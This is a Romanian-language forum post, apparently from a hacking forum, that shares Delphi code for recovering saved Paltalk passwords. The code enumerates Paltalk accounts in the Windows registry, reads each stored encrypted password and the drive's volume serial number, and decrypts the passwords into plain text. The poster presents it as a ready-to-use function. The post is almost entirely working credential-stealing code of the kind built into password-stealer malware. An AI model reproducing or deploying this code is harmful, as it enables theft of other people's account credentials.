Jump to content
Cartman.

[Delphi] Paltalk Passwords Decrypt

Recommended Posts

Posted

Aici se afla o functie si Cum sa decryptezi Paltalk Passwords.. ;)

Function Decrypt(sNickName, sHwID, sCrypted: String): String;
var
aOutPut : array of string;
iLen, i : Integer;
sTemp, sFinal : String;
const
iOffset = 122;
begin
Result:= '';
iLen:= length(sCrypted);

If (iLen mod 4) <> 0 then
begin
Result:= 'incorrect encrypted password';
exit;
end;

for i:= 0 to 7 do
begin
sTemp:= sTemp + sNickName[(i mod length(sNickName))+ 1] + sHwID[(i mod length(sHwID))+ 1]
end;

Setlength(aOutPut, (iLen div 4));

If Length(sHwID) >= Length(sNickName) then
sTemp:= sHwID[Length(sHwID)] + sTemp
else
sTemp:= sNickName[Length(sNickName)] + sTemp;

for i:= 0 to pred(Length(aOutPut)) do
begin
aOutPut[i]:= Copy(sCrypted,1,3);
sFinal:= sFinal + Chr((strtoint(aOutPut[i]) - ord(sTemp[i+1])) - i - iOffset);
Delete(sCrypted,1,4);
end;

aOutPut:= Nil;
Result:= sFinal;

end;

function FindNickPass(const sNickname: String): String;
begin
with TRegistry.Create do
try
RootKey := HKEY_CURRENT_USER;
if OpenKey('\Software\Paltalk\' + sNickname, False) then
begin
Result:= (ReadString('pwd'));
CloseKey;
end;
finally
Free;
end;
end;

function FindVolumeSerial(const Drive : PChar) : string;
var
VolumeSerialNumber : DWORD;
MaximumComponentLength : DWORD;
FileSystemFlags : DWORD;
begin
Result:='';

GetVolumeInformation(Drive, nil, 0, @volumeSerialNumber,
MaximumComponentLength, FileSystemFlags, nil, 0) ;

Result := Format('%8.8X',[VolumeSerialNumber]);
end;

Am adaugat asta


//by cart
Function GetPaltalkPW():TStringList;
var Reg:TRegistry;
SL:TStringList;
i:Integer;
Encrypted:String;
begin
Reg:=TRegistry.Create;
SL:=TStringList.Create;
Result:=TstringList.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
if Reg.OpenKey('\Software\Paltalk\',false) then begin
Reg.GetKeyNames(SL);
if SL.Count>0 then begin
for i:=0 To SL.Count-1 do begin
Result.Add(SL.Strings[i]);
Reg.CloseKey;
Reg.OpenKey('\Software\Paltalk\',false);
if Reg.OpenKey(SL.Strings[i],false) then begin
Encrypted:=Reg.ReadString('pwd');
if Encrypted<>'' then
Result.Add(Decrypt(SL.Strings[i], trim(FindVolumeSerial(PAnsiChar(getdrive()))),FindNickPass(SL.Strings[i])))
else Result.Add('Registry Fail');
end;
end;
end else Result.Add('Paltalk Accounts error!');
end else Result.Add('Paltalk not found!');
SL.Free;
Reg.Free;

end;

Si asta

   
//by cart
function getdrive(): string;
var InstallerAppDir:string;
begin
with TRegistry.Create do
try
RootKey := HKEY_CURRENT_USER;
if OpenKey('\Software\Paltalk\', False) then
begin
InstallerAppDir:= (ReadString('InstallerAppDir'));
CloseKey;
end;
finally
Free;
end;
Result:=Copy(InstallerAppDir,0,3);
end;

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...